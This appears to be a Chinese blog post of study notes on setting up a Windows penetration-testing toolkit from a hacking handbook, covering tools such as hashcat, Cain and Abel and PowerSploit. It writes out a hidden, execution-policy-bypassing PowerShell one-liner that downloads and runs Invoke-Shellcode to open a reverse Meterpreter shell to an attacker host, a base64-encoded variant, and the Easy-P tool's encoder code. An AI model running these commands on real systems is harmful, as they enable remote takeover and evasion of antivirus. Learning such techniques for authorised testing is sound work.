美文网首页
第一章 赛前准备--windows检查相应工具

第一章 赛前准备--windows检查相应工具

作者: NoviceQAQ | 来源:发表于2018-08-03 09:45 被阅读0次

    工欲善其事,必先利其器!看书的时候不要写废话


    1.5.6Windows虚拟机

    书中“墙裂”推荐win7和win8,但是我这种非主流的人还是用win10吧。建议还是使用虚拟机,毕竟有镜像还是好点。
    高级工具列表

    HxD(十六进制编辑器)

    下载地址:https://mh-nexus.de/en/hxd/

    下载.png

    下载后直接安装就可以了,下图为安装成功界面。

    HXD.png

    Evade

    下载地址:https://www.securepla.net/antivirus-now-you-see-me-now-you-dont
    现在已经下载不到了,暂时不安装了。

    Hyperion

    对不住大家没有安装成功。
    下载地址:http://www.nullsecurity.net/tools/binary.html

    下载1.png

    下载安装Windows编译器,地址为:http://sourceforge.net/projects/mingw/

    下载2.png

    MinGW下载后安装,安装后我把所有环境都安装了

    安装.png

    将MinGW/bin下将mingw32-make.exe重命名为make.exe并添加到环境变量中,但是编译的时候出错占时解决不了。

    出错.png

    虚心求看到的大神指导。

    Metasploit

    单纯不想装backbox已有

    Nexpose/Nessus

    单纯不想装backbox已有

    Nmap

    单纯不想装backbox已有

    oclHashcat

    地址为:http://hashcat.net/oclhashcat
    世界上最快的密码破解工具,下载解压可以运行。
    GPU驱动程序要求:
    Linux上的AMD GPU需要“RadeonOpenCompute(ROCm)”软件平台(1.6.180或更高版本)
    Windows上的AMD GPU需要“AMD Radeon Software Crimson Edition”(15.12或更高版本)
    英特尔CPU需要“适用于英特尔酷睿和英特尔至强处理器的OpenCL运行时”(16.1.1或更高版本)
    Linux上的英特尔GPU需要“适用于Linux的OpenCL 2.0 GPU驱动程序包”(2.0或更高版本)
    Windows上的Intel GPU需要“用于Intel Iris和Intel HD Graphics的OpenCL驱动程序”
    NVIDIA GPU需要“NVIDIA驱动程序”(367.x或更高版本)

    Cain and Abel

    地址为http://www.oxid.it/cain.html
    Cain&Abel是Microsoft操作系统的密码恢复工具。它可以通过嗅探网络,使用Dictionary,Brute-Force和Cryptanalysis攻击破解加密密码,记录VoIP会话,解码加密密码,恢复无线网络密钥,显示密码框,发现缓存密码和分析路由,轻松恢复各种密码协议。该程序不会利用任何软件漏洞或无法轻易修复的错误。它涵盖了协议标准,身份验证方法和缓存机制中存在的一些安全方面/弱点; 它的主要目的是简化从各种来源恢复密码和凭证。

    有点老旧.png

    下载后直接运行安装就行。

    Burp Suite Pro

    单纯不想装backbox已有

    Nishang

    单纯不想装backbox已有

    PowerSploit

    单纯不想装backbox已有

    Firefox(插件)

    单纯不想装backbox已有

    1.5.8启动PowerShell

    powershell 脚本安全介绍:http://bit.ly/1MCb7EJ
    为了快速学习可以在这里看看操作手册,https://www.pstips.net/powershell-online-tutorials毕竟英语不好听老外用英语讲,好费力。

    Powershell对于渗透测试人员的益处:

    • win7以上操作系统默认安装
    • powershell脚本可以运行在内存中
    • 几乎不会触发杀毒软件
    • 可以调用.NET类
    • 利用用户口令(查询活动目录)
    • 可以用来管理活动目录
    • 远程执行PowerShell脚本
    • 使得Windows脚本攻击更加容易
    • 目前很多工具是基于PowerShell开发的,掌握这些工具帮助您成为能力出众、效率较高的渗透测试人员。

    Powershell中常用的基本参数和基本设置

    • -Exec Bypass:绕过执行安全保护。
      PowerShell的安全策略不允许运行命令和文件。通过设置这个参数,可以绕过任何一个安全保护规则。在本书中,每一次运行PowerShell脚本时均使用这个参数
    • -NonI:非交互模式,powershell不提供用户交互式提示符。
    • -NoProfile(或者-NoP):PowerShell控制台不加载当前用户的配置。
    • -noexit:执行后不退出shell.这对于脚本,例如键盘几率,非常重要,银次这些脚本可以继续执行。
    • -W Hidden:设置会话的窗口分割,将命令窗口保持隐藏。
    • 32为或64位PowerShell

    1、32位PowerShell脚本执行:

    powershell.exe -NoP -NonI -W Hidden -Exec Bypass
    

    2、64位PowerShell 脚本执行:

    %WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass
    

    常用执行命令
    从网站服务器下载PowerShell脚本,并执行脚本。用于在被攻击对象主机上下载Meterpreter PowerShell脚本。
    1、例如要下目标上执行Meterpreter Shell,需要下载https://github.com/cheetz/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1这个脚本进行调用反向https Meterpreter shell,可以使用如下命令:
    Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://github.com/cheetz/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https-Lhost X.X.X.X -Lport XX

    注意:Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。

    2、例如,下载同一个文件到目标上。不需要访问网页,就可以自动下载和执行文件。在本地执行文件:
    Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "& {Import-Module [Path and File of PowerShell] ; [Parameters]}"

    3、例如我们通常使用base64编码Powershell脚本,目的是混淆和压缩代码:
    Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc[Base64 Code]

    1.5.9 Easy-P

    该工具是作者写的,书中再后面还会运用到。这里作者提及脚本源码可以自己拷贝一份,其实重点还是需要自己理解,盲目的去使用工具,你永远都不会知道别人的工具里是否含有恶意的脚本。

    看了下源码里面功能主要有以下几种:
    1、提权

    • 在易受攻击的服务中寻找提权机会
    • 对易受攻击的服务滥用提权机会
    • 生成.msi安装用户文件

    2、横向渗透

    • 使用WMI服务及“黄金票据”利用微软域控服务kerberos协议缺陷
    • WMI脚本执行

    3、键盘记录

    4、metasploit后渗透的powershell

    • 输入metasploit监听地址
    • 输入metasploit监听端口

    5、修改用户执行策略

    • 注意这个是永久改变
    #powershell -绕过安全执行保护 -不提供交互式提示符 -将窗口隐藏 执行命令{设置powershell环境运行权限 允许所有的script运行  Scope CurrentUser}
    print 'powershell -exec bypass -noninteractive -w hidden -Command "& {Set-ExecutionPolicy Unrestricted -Scope CurrentUser}"'
    

    6、Powershell 101

    • 和5一样

    7、使用Base64 对Powershell脚本进行编码

    8、Mimikatz - 用内存中读取密码

    99、退出

    上面的工具都需要下载额外的.ps1(Powershell脚本来执行),所以在以后的使用中需要连外网,源码中对powershell脚本进行的base64编码需要学习下,每个字符间插入\x00是个什么梗。

    def powershell_encode(data):
        #https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py
        #Carlos - aka Darkoperator 编写了下面的代码
        blank_command = ""
        powershell_command = ""
        # 删除ISE可能添加的怪异字符
        #python的file对象的readline以及readlines程序中,针对一些UTF-8编码的文件,
        #开头会加入BOM来表明编码方式。
        #使用unicode编码(xef|\xbb|\xbf),.compile提高匹配效率
        n = re.compile(u'(\xef|\xbb|\xbf)')
        # 循环遍历通过正则过滤后的每个字符
        for char in (n.sub("", data)):
            # 每个字符间插入“\x00”空字符
            blank_command += char + "\x00"
        powershell_command = blank_command
        # 对powershell进行base64编码
        powershell_command = base64.b64encode(powershell_command)
        return powershell_command
    
        # base64编码是对二进制数据进行处理,每3个字节划为一组,一共是3x8=24bit
        # 再将24bit划为4组,每组正好6个bit(可表示2的6次方、即64个数)
        #这样我们就得到了4个数字,将其作为索引查码表,获得相应的4个字符,就是编码后的字符串。
        #所以,Base64编码会把3字节的二进制数据编码为4字节的文本数据,长度增加33%。
        #如果要编码的二进制数据不是3的倍数,最后会剩下1个或2个字节,Base64用\x00字节在末尾补足
        #z最后编码的末尾加上1个或2个=号,表示补了多少字节,解码的时候,会自动去掉。
    

    相关文章

      网友评论

          本文标题:第一章 赛前准备--windows检查相应工具

          本文链接:https://www.haomeiwen.com/subject/otbtvftx.html